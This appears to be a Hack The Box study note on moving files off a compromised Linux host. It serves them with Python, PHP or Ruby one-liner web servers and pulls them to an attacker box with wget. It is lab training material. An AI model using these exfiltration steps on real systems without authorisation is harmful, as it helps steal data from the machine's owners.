# 🛠️ Quick Web File Transfer Method

Sometimes, you just need a *quick and dirty* way to transfer files from a compromised machine 🐚 to your attacker box (Pwnbox) — and lucky for us, Linux makes it easy thanks to built-in tools like Python, PHP, or Ruby! 🎯

***

## 🐍📡 1. Python file http.server

If Python is installed (which it usually is), spin up a web server with a one-liner!

### **Python 3:**

```bash
z3tssu@htb[/htb]$ python3 -m http.server
```

```
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

### **Python 2.7 (Legacy Style):**

```bash
z3tssu@htb[/htb]$ python2.7 -m SimpleHTTPServer
```

***

## 🧙‍♂️ PHP file hosting Server ✨

If PHP is installed:

```bash
z3tssu@htb[/htb]$ php -S 0.0.0.0:8000
```

```
PHP Development Server started at http://0.0.0.0:8000
```

***

## 💎 Ruby file hosting Server 💻

If Ruby is available, this works too:

```bash
z3tssu@htb[/htb]$ ruby -run -ehttpd . -p8000
```

🪄 Output:

```
WEBrick HTTPServer running on port 8000
```

***

## 📥 2. Download the File on Pwnbox

Once the target machine (compromised linux) is serving the file, hop onto your Pwnbox (attacker machine) and download it:

```bash
z3tssu@htb[/htb]$ wget 192.168.49.128:8000/filetotransfer.txt
```

💾 You’ll see:

```
Saving to: 'filetotransfer.txt'
filetotransfer.txt saved [0/0]
```

***

#### 📌 Pro Tip ⚠️

> These are **download-only** methods! You’re pulling files *from* the target *to* your machine, not uploading.\
> Also, don’t forget: 🔒 Some environments may block inbound traffic (like firewall rules), so check connectivity!
